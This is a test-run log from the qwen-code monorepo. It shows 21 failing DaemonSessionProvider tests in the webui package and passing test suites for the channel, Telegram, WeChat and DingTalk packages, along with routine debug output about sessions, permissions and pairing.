The current testing environment is not configured to support act(...)
stderr | src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx > useDaemonStatusReport > forwards the detail level to loadDaemonStatus (default summary)
The current testing environment is not configured to support act(...)
✓ src/daemon/workspace/hooks/useDaemonStatusReport.test.tsx (2 tests) 908ms
✓ useDaemonStatusReport > exposes the loaded data through the `report` alias 608ms
✓ src/components/toolcalls/GenericToolCall.test.tsx (2 tests) 2251ms
✓ GenericToolCall collapsible output > preserves and collapses output longer than 400 characters 1950ms
✓ src/components/toolcalls/shared/CollapsibleOutput.test.tsx (2 tests) 1323ms
✓ CollapsibleOutput > toggles the collapsed height while preserving all children 1187ms
✓ src/components/messages/MarkdownRenderer/MarkdownRenderer.test.tsx (2 tests) 2336ms
✓ MarkdownRenderer explicit file links > opens markdown file links with decoded absolute paths 2053ms
✓ src/hooks/useFollowupSuggestions.test.tsx (2 tests) 872ms
✓ useFollowupSuggestions > skips onAccept when the caller submits the suggestion directly 677ms
✓ src/daemon/session/actions.test.ts (41 tests) 2335ms
✓ src/daemon/workspace/actions.test.ts (16 tests) 1206ms
✓ src/daemon/transcriptAdapter.test.ts (12 tests) 562ms
✓ src/daemon/session/mappers.test.ts (16 tests) 418ms
stdout | src/daemon/midTurnInjectedSidechannel.test.ts > mid-turn injected sidechannel pub/sub > caps the buffer, evicting oldest batches past the limit
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
[mid-turn] sidechannel buffer over 64; evicting 1 oldest batch(es)
✓ src/daemon/midTurnInjectedSidechannel.test.ts (13 tests) 487ms
✓ src/daemon/session/selectors.test.ts (9 tests) 502ms
✓ src/daemon/workspace/scheduledTasks.actions.test.ts (11 tests) 561ms
✓ src/daemon/pendingPromptVersion.test.ts (7 tests) 4111ms
✓ pending prompt sidechannel > bumps queue version for pending-prompt queue events 1485ms
✓ pending prompt sidechannel > notifies event subscribers without bumping version for turn_complete events 428ms
✓ pending prompt sidechannel > notifies event subscribers without bumping version for turn_error events 397ms
✓ pending prompt sidechannel > stops notifying unsubscribed listeners 376ms
✓ pending prompt sidechannel > rejects malformed pending prompt events 410ms
✓ pending prompt sidechannel > consume removes only handled event identities 490ms
✓ pending prompt sidechannel > caps the event buffer and evicts oldest events 430ms
✓ src/components/toolcalls/routing.test.ts (11 tests) 204ms
✓ src/daemon/workspace/goals.actions.test.ts (8 tests) 477ms
✓ src/daemon/session/DaemonSessionProvider.subagent.test.ts (2 tests) 297ms
✓ src/components/toolcalls/labelUtils.test.ts (8 tests) 256ms
✓ src/daemon/session/status.test.ts (4 tests) 209ms
✓ src/components/ChatViewer/ChatViewer.test.tsx (2 tests) 475ms
✓ ChatViewer tool routing > routes read_many_files to ReadToolCall 370ms
✓ src/daemon/session/httpErrors.test.ts (4 tests) 163ms
✓ src/daemon/session/promptContent.test.ts (2 tests) 189ms
⎯⎯⎯⎯⎯⎯ Failed Tests 21 ⎯⎯⎯⎯⎯⎯⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:1605:3
1603| });
1604|
1605| it('prevents double submit while a prompt is running', async () => {
| ^
1606| const accepted = createDeferred();
1607| const turnComplete = createDeferred();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:4347:3
4345| });
4346|
4347| it('keeps local prompts active when a restored prompt completes', as…
| ^
4348| const accepted = createDeferred();
4349| const releaseRestoredComplete = createDeferred();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles restored active prompts when turn_complete arrives
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:4438:3
4436| });
4437|
4438| it('settles restored active prompts when turn_complete arrives', asy…
| ^
4439| const turnCompleted = createDeferred();
4440| const session = createMockSession({
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[3/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt is cancelled
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:4554:3
4552| });
4553|
4554| it('keeps local prompts active when a restored prompt is cancelled',…
| ^
4555| const accepted = createDeferred();
4556| const releaseRestoredCancel = createDeferred();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[4/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not settle unaccepted prompts from historical replay turns
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:8104:3
8102| });
8103|
8104| it('does not settle unaccepted prompts from historical replay turns'…
| ^
8105| const accepted = createDeferred();
8106| const ringEvicted = createDeferred();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[5/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does NOT stop reconnect on session_closed with reason "idle_timeout"
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9036:60
9034| });
9035|
9036| it.each(['idle_timeout', 'last_client_detached'] as const)(
| ^
9037| 'does NOT stop reconnect on session_closed with reason "%s"',
9038| async (reason) => {
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[6/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes stream_error to notices with connection category
AssertionError: expected [] to match object [ { category: 'connection', …(1) } ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- {[39m
[32m- "category": "connection",[39m
[32m- "code": "daemon.stream_error",[39m
[32m- },[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9165:21
9163|
9164| expect(blocks.some((b) => b.kind === 'error')).toBe(false);
9165| expect(notices).toMatchObject([
| ^
9166| {
9167| category: 'connection',
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[7/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes model_switch_failed to notices with user_action category
AssertionError: expected [] to match object [ { category: 'user_action', …(2) } ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- {[39m
[32m- "category": "user_action",[39m
[32m- "code": "daemon.switch_model.failed",[39m
[32m- "operation": "switch_model",[39m
[32m- },[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9208:21
9206|
9207| expect(blocks.some((b) => b.kind === 'error')).toBe(false);
9208| expect(notices).toMatchObject([
| ^
9209| {
9210| category: 'user_action',
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[8/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps turn_error in transcript instead of routing to notices
AssertionError: expected [] to match object [ { kind: 'error', …(2) } ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- {[39m
[32m- "kind": "error",[39m
[32m- "source": "turn_error",[39m
[32m- "text": "API rate limit exceeded",[39m
[32m- },[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9253:20
9251|
9252| // turn_error should stay in transcript as an error block
9253| expect(blocks).toMatchObject([
| ^
9254| {
9255| kind: 'error',
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[9/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes client_evicted to notices with connection category
AssertionError: expected [] to match object [ { category: 'connection', …(1) } ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- {[39m
[32m- "category": "connection",[39m
[32m- "code": "daemon.client_evicted",[39m
[32m- },[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9299:21
9297|
9298| expect(blocks.some((b) => b.kind === 'error')).toBe(false);
9299| expect(notices).toMatchObject([
| ^
9300| {
9301| category: 'connection',
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[10/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps history pagination disabled when the server does not advertise it
AssertionError: expected "spy" to be called with arguments: [ Anything, …(3) ][90m
Number of calls: [1m0[22m
[39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9342:51
9340| });
9341|
9342| expect(sdkMocks.MockDaemonSessionClient.load).toHaveBeenCalledWith(
| ^
9343| expect.anything(),
9344| session.sessionId,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[11/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prepends an older transcript page from the first replay record
AssertionError: expected "spy" to be called with arguments: [ Anything, …(3) ][90m
Number of calls: [1m0[22m
[39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9402:51
9400| historyPageSize: 25,
9401| });
9402| expect(sdkMocks.MockDaemonSessionClient.load).toHaveBeenCalledWith(
| ^
9403| expect.anything(),
9404| session.sessionId,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[12/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > drops fetched transcript events whose records are already displayed
AssertionError: expected [] to deeply equal [ 'older prompt', 'displayed prompt' ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- "older prompt",[39m
[32m- "displayed prompt",[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9499:7
9497| expect(
9498| blocks.map((block) => ('text' in block ? block.text : undefined)…
9499| ).toEqual(['older prompt', 'displayed prompt']);
| ^
9500| });
9501|
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[13/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps transient transcript page failures retryable
TypeError: You must provide a Promise to expect() when using .rejects, not 'undefined'.
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9550:39
9548| });
9549| await act(async () => {
9550| await expect(history?.loadMore()).rejects.toThrow(
| ^
9551| 'temporary network failure',
9552| );
❯ Proxy.process.env.NODE_ENV.exports.act ../../node_modules/react/cjs/react.development.js:814:22
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9549:11
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[14/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > latches a non-retryable transcript page failure
TypeError: You must provide a Promise to expect() when using .rejects, not 'undefined'.
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9627:39
9625| });
9626| await act(async () => {
9627| await expect(history?.loadMore()).rejects.toThrow('Forbidden');
| ^
9628| await flushPromises();
9629| });
❯ Proxy.process.env.NODE_ENV.exports.act ../../node_modules/react/cjs/react.development.js:814:22
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9626:11
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[15/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > retries a latched pagination failure when loadMore is forced
TypeError: You must provide a Promise to expect() when using .rejects, not 'undefined'.
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9686:39
9684| });
9685| await act(async () => {
9686| await expect(history?.loadMore()).rejects.toThrow('Forbidden');
| ^
9687| await flushPromises();
9688| });
❯ Proxy.process.env.NODE_ENV.exports.act ../../node_modules/react/cjs/react.development.js:814:22
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9685:11
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[16/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > skips malformed older-page events and advances by record boundary
AssertionError: expected undefined to be true // Object.is equality
[32m- Expected:[39m
true
[31m+ Received:[39m
undefined
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9781:30
9779| });
9780|
9781| expect(history?.hasMore).toBe(true);
| ^
9782| await act(async () => {
9783| await history?.loadMore();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[17/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > falls back to the server cursor when a page has no record boundary
AssertionError: expected 2nd "spy" call to have been called with [ …(2) ], but called only 0 times
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9871:47
9869| });
9870|
9871| expect(sdkMocks.getSessionTranscriptPage).toHaveBeenNthCalledWith(
| ^
9872| 2,
9873| session.sessionId,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[18/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > reports a partial older page without changing the transcript
TypeError: You must provide a Promise to expect() when using .rejects, not 'undefined'.
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9936:39
9934| });
9935| await act(async () => {
9936| await expect(history?.loadMore()).rejects.toThrow(
| ^
9937| 'Replay conversion failed for this page',
9938| );
❯ Proxy.process.env.NODE_ENV.exports.act ../../node_modules/react/cjs/react.development.js:814:22
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9935:11
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[19/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps an oversized initial replay intact and stops older pagination
AssertionError: expected [] to match object [ { kind: 'user', …(1) }, …(1) ]
[32m- Expected[39m
[31m+ Received[39m
[32m- [[39m
[32m- {[39m
[32m- "kind": "user",[39m
[32m- "text": "recent prompt",[39m
[32m- },[39m
[32m- {[39m
[32m- "kind": "assistant",[39m
[32m- "text": "recent answer",[39m
[32m- },[39m
[32m- ][39m
[31m+ [][39m
❯ src/daemon/session/DaemonSessionProvider.test.tsx:9999:20
9997| });
9998|
9999| expect(blocks).toMatchObject([
| ^
10000| { kind: 'user', text: 'recent prompt' },
10001| { kind: 'assistant', text: 'recent answer' },
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[20/21]⎯
FAIL src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > rejects a terminal older page that does not fit atomically
AssertionError: expected undefined to match object { Object (hasMore, loading, ...) }
[32m- Expected:[39m
{
"capacityReached": true,
"hasMore": false,
"loading": false,
}
[31m+ Received:[39m
undefined
❯ src/daemon/session/DaemonSessionProvider.test.tsx:10066:21
10064| });
10065|
10066| expect(history).toMatchObject({
| ^
10067| hasMore: false,
10068| loading: false,
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[21/21]⎯
Test Files 1 failed | 31 passed (32)
Tests 21 failed | 406 passed (427)
Start at 15:09:01
Duration 705.64s (transform 47.19s, setup 0ms, collect 93.78s, tests 254.73s, environment 155.67s, prepare 63.84s)
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/packages/webui
npm error workspace @qwen-code/webui@0.21.5
npm error location /build/qwen-code/src/qwen-code/packages/webui
npm error command failed
npm error command sh -c vitest run --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
npm notice run @qwen-code/channel-base@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/base
[Channel:test-chan] preflight rejected reason=group_disabled
[Channel:test-chan] preflight rejected reason=dm_disabled
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=group_disabled
[Channel:test-chan] preflight rejected reason=dm_disabled
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=sender_pairing_required
[test-chan] steer: cancelled active turn for alice in session s-1
[test-chan] steer: cancelled active turn for bob in session s-1
[test-chan] steer: cancelled active turn for bob in session s-1
[test-chan] steer: cancelled active turn for bob in session s-1
[test-chan] permission response failed for request req-1: send failed
[test-chan] permission relay failed for request req-1: send failed
[Channel:test-chan] preflight rejected reason=group_not_allowlisted
[test-chan] channel memory intent validation failed: iterator unavailable
[test-chan] channel memory intent validation failed: index unavailable
[test-chan] channel memory remove failed for sender=alice chat=chat1 thread=: Channel memory entry changed
[test-chan] channel memory update failed for sender=alice chat=chat1 thread=: unsafe\nbackend failure
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=sender_denied
[Channel:test-chan] preflight rejected reason=sender_denied
[test-chan] channel memory read failed for sender=alice chat=chat1 thread=: entry read unavailable
[test-chan] channel memory read failed for sender=alice chat=chat1 thread=: entry listing failed
[Channel:test-chan] preflight rejected reason=sender_denied
[test-chan] channel memory update failed for sender=alice chat=chat1 thread=: unsafe\nbackend failure
[test-chan] channel memory update failed for sender=alice chat=chat1 thread=: backend unavailable
[test-chan] /clear abandoned a wedged turn for session s-1 (chat unknown): it did not wind down within 3000ms
[test-chan] /clear abandoned a wedged turn for session s-1 (chat unknown): it did not wind down within 3000ms
[test-chan] shared session s-1 cleared by User 1 (sender user1)
[test-chan] shared session s-1 cleared by User 1 (sender user1)
[test-chan] shared session s-2 cleared by User 1 (sender user1)
[test-chan] shared session s-1 cleared by User 1 (sender user1)
[test-chan] shared session s-1 cleared by User 1 (sender boss)
[test-chan] shared session s-1 cleared by User 1 (sender boss)
[test-chan] shared session s-1 cleared by User 1 (sender boss)
[Channel:test-chan] preflight rejected reason=sender_denied
[test-chan] dropped queued turn from alice for session s-1: session was cleared before it ran (text: first)
[test-chan] channel memory read failed for sender=alice chat=chat1 thread=: entry listing failed
[test-chan] steer: cancelled active turn for alice in session s-1
[test-chan] turn m-cancel threw after cancellation for session s-1: bridge cancelled
[test-chan] turn m-stop threw after cancellation for session s-1: aborted
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] cancelSession failed for session=s-1: cancel failed
[Channel:test-chan] preflight rejected reason=sender_pairing_required
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] steer denied for intruder in shared session (chat=g1); queuing instead
[test-chan] steer: cancelled active turn for mod in session s-1
[test-chan] steer: cancelled active turn for user1 in session s-1
[test-chan] /clear abandoned a wedged turn for session s-1 (chat chat1, message mA): it did not wind down within 3000ms
[test-chan] /clear abandoned a wedged turn for session s-1 (chat chat1, message mA): it did not wind down within 3000ms
[test-chan] onPromptEnd threw during /clear eviction for session s-1: adapter onPromptEnd boom
[test-chan] /clear abandoned a wedged turn for session s-1 (chat chat1, message mA): it did not wind down within 3000ms
[test-chan] shared session s-1 cleared by User 1 (sender alice)
[test-chan] dropped queued turn from bob for session s-1: session was cleared before it ran (text: task two)
[test-chan] steer: cancelled active turn for user1 in session s-1
[Channel:test-chan] preflight rejected reason=sender_denied
[test-chan] dropped webhook webhook:github-ci:ci_failed for session s-1: session was cleared before it ran
[test-chan] dropped webhook webhook:github-ci:ci_failed for session s-1: session was cleared before it ran
[test-chan] dropped loop job-1 for session s-1: session was cleared before it ran
[test-chan] retired timed out loop job-1 session s-1 after cancel did not settle
[test-chan] steer: cancelled active turn for alice in session s-1
[test-chan] dropped loop job-1 for session s-1: session was cleared before it ran
✓ src/ChannelBase.test.ts (560 tests) 35912ms
✓ ChannelBase > permission relay > keeps input correlation for 'user' + 'collect' 304ms
✓ ChannelBase > message enrichment > bounds prepared recall indexes across many memory targets 473ms
✓ ChannelBase > response delivery > contains a throwing onTaskLifecycle hook and logs it 1201ms
✓ ChannelBase > response delivery > logs and contains turn errors that arrive after cancellation 348ms
✓ ChannelBase > response delivery > delivers completion when cancellation outlives the reconciliation timeout 3123ms
✓ ChannelBase > loop prompts > runWebhookTask > waits for bridge recovery before resolving a webhook session 539ms
✓ ChannelBase > loop prompts > runWebhookTask > rechecks bridge recovery before a webhook prompt starts 592ms
✓ ChannelBase > loop prompts > waits for bridge recovery after adapter-specific preflight 524ms
✓ ChannelBase > loop prompts > rechecks bridge recovery after inbound preprocessing has started 527ms
✓ ChannelBase > loop prompts > rechecks bridge recovery before a loop prompt starts 590ms
✓ src/DaemonChannelBridge.test.ts (55 tests) 2481ms
✓ DaemonChannelBridge > registers the loop MCP server for the exact daemon session 349ms
[SessionRouter] Failed to restore session old-session for key ch:alice:chat1: Invalid restored session ID
[SessionRouter] Failed to restore session old-session for key ch:alice:chat1: Invalid restored session ID
[SessionRouter] Failed to restore session session-1 for key ch:alice:chat1: Invalid restored session ID
[SessionRouter] Failed to restore session old-session for key ch:alice:chat1: Restored session died before routing completed
[SessionRouter] Failed to restore session old-session for key ch:alice:chat1: Invalid restored session ID
[SessionRouter] Failed to restore session old-bob for key ch:bob:chat2: Restored session died before routing completed
[SessionRouter] Corrupted persist file at /tmp/qwen-router-q3mtgz/routes.json: Expected property name or '}' in JSON at position 1 (line 1 column 2)
[SessionRouter] Replaced unavailable session old-session for key ch:alice:chat1 after load failed: gone
[SessionRouter] Failed to load session old-session for key ch:alice:chat1 (temporarily gone) and failed to create a replacement (at capacity)
✓ src/SessionRouter.test.ts (97 tests) 3554ms
[AcpBridge] Channel loop MCP server registration skipped: budget_warning_only
[AcpBridge] [perf] acp agent event loop stall: max=301000ms
[AcpBridge] ACP agent event loop stalled for 301000ms; killing child process to trigger restart
[AcpBridge] Process exited (code=null, signal=SIGKILL)
[AcpBridge] debug line\n[perf] acp agent event loop stall: max=301000ms
[AcpBridge] ACP agent event loop stalled for 301000ms; killing child process to trigger restart
[AcpBridge] [perf] acp agent event loop stall: max=299000ms
[AcpBridge] debug: acp agent event loop stall: max=301000ms
[AcpBridge] [perf] acp agent event loop stall: max=301000ms
[AcpBridge] Process exited (code=1, signal=null)
✓ src/AcpBridge.test.ts (36 tests) 13402ms
✓ AcpBridge > kills the ACP child when it reports a large event loop stall 1040ms
✓ AcpBridge > kills the ACP child when a stall line is coalesced with prior stderr 1031ms
✓ AcpBridge > does not kill the ACP child for a small event loop stall warning 1024ms
✓ AcpBridge > ignores non-perf stderr that mentions an event loop stall 1021ms
✓ AcpBridge > does not kill the ACP child again after it is already killed 1028ms
✓ AcpBridge > relays ACP permission requests instead of auto-approving them 1073ms
✓ AcpBridge > allows permission request listeners to respond synchronously 1024ms
✓ AcpBridge > falls back to the tool call id for permission requests without a session id 1025ms
✓ AcpBridge > resolves matching pending permissions as cancelled when a session is cancelled 1052ms
✓ AcpBridge > resolves pending permissions as cancelled after the response timeout 1055ms
✓ AcpBridge > resolves pending permissions as cancelled when the ACP child exits 1041ms
✓ AcpBridge > resolves pending permissions as cancelled on stop 1028ms
[scheduler] started, tick interval 1000ms, jobs 0, enabled 0, cleared stale running 0
[scheduler] invalid cron for loop job-1: Error: impossible cron
✓ src/ChannelLoopScheduler.test.ts (25 tests) 2809ms
✓ ChannelLoopScheduler > starts immediately, ticks on the interval, and stops scheduling 329ms
[PairingStore] legacy migration of support-bot-allowlist.json failed for channel "support-bot": EISDIR: illegal operation on a directory, copyfile '/tmp/pairing-home-fqCRwk/channels/support-bot-allowlist.json' -> '/tmp/pairing-home-fqCRwk/channels/pairing-ws-a-A6LAL2-74ac82d5bad9/support-bot-allowlist.json.101931.migrating'; will retry on next start
[PairingStore] legacy migration of support-bot-pairing.json failed for channel "support-bot": EISDIR: illegal operation on a directory, copyfile '/tmp/pairing-home-5gE0z5/channels/support-bot-pairing.json' -> '/tmp/pairing-home-5gE0z5/channels/pairing-ws-a-TbLjNn-b808d1cfb4fb/support-bot-pairing.json.101931.migrating'; will retry on next start
[PairingStore] legacy migration of support-bot-allowlist.json failed for channel "support-bot": EISDIR: illegal operation on a directory, copyfile '/tmp/pairing-home-4er971/channels/support-bot-allowlist.json' -> '/tmp/pairing-home-4er971/channels/pairing-ws-a-HTKBs0-1e581188cf38/support-bot-allowlist.json.101931.migrating'; will retry on next start
✓ src/PairingStore.test.ts (23 tests) 1027ms
✓ src/channel-memory-recall-eval.test.ts (6 tests) 764ms
✓ src/sanitize.test.ts (31 tests) 518ms
✓ src/ChannelLoopStore.test.ts (14 tests) 1321ms
✓ ChannelLoopStore > creates and persists a channel loop with default status fields 386ms
✓ src/channel-memory-recall.test.ts (17 tests) 564ms
✓ src/PollingChannelBase.test.ts (11 tests) 836ms
✓ src/BlockStreamer.test.ts (17 tests) 720ms
✓ src/ChannelLoopTools.test.ts (12 tests) 601ms
✓ src/channel-memory-intent.test.ts (10 tests) 608ms
✓ src/SenderGate.test.ts (15 tests) 582ms
✓ src/group-history-store.test.ts (11 tests) 579ms
✓ src/paths.test.ts (14 tests) 396ms
✓ src/GroupGate.test.ts (13 tests) 266ms
✓ src/DmGate.test.ts (4 tests) 202ms
Test Files 19 passed (19)
Tests 971 passed (971)
Start at 15:21:01
Duration 232.87s (transform 22.39s, setup 0ms, collect 47.46s, tests 67.14s, environment 173ms, prepare 37.90s)
npm notice run @qwen-code/channel-telegram@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/telegram
✓ src/TelegramAdapter.test.ts (17 tests) 1384ms
Test Files 1 passed (1)
Tests 17 passed (17)
Start at 15:25:09
Duration 21.87s (transform 7.27s, setup 0ms, collect 12.51s, tests 1.38s, environment 9ms, prepare 2.72s)
npm notice run @qwen-code/channel-weixin@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/weixin
✓ src/send.test.ts (35 tests) 968ms
✓ src/accounts.test.ts (18 tests) 771ms
✓ src/WeixinAdapter.test.ts (4 tests) 455ms
✓ src/media.test.ts (11 tests) 527ms
✓ src/api.test.ts (3 tests) 525ms
✓ uploadToCdn > accepts HTTPS://novac2c.cdn.weixin.qq.com/c2c/upload?encrypted_query_param=abc CDN upload URLs 361ms
Test Files 5 passed (5)
Tests 71 passed (71)
Start at 15:25:45
Duration 59.18s (transform 10.75s, setup 0ms, collect 23.21s, tests 3.25s, environment 41ms, prepare 10.65s)
npm notice run @qwen-code/channel-dingtalk@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/dingtalk
[DingTalk:test-dingtalk] Connected via stream.
[DingTalk:test-dingtalk] downstream type=SYSTEM topic=disconnect messageId=system-message bytes=89
[DingTalk:test-dingtalk] No sessionWebhook in message, skipping.
[DingTalk:test-dingtalk] No sessionWebhook in message, skipping.
[DingTalk:test-dingtalk] Disconnected.
[DingTalk:test-dingtalk] Disconnected.
[DingTalk:test-dingtalk] message msgId=group-name-m1 conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=thread-fallback-m1 conversationId=cid-thread-fallback isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=structured-mentions conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
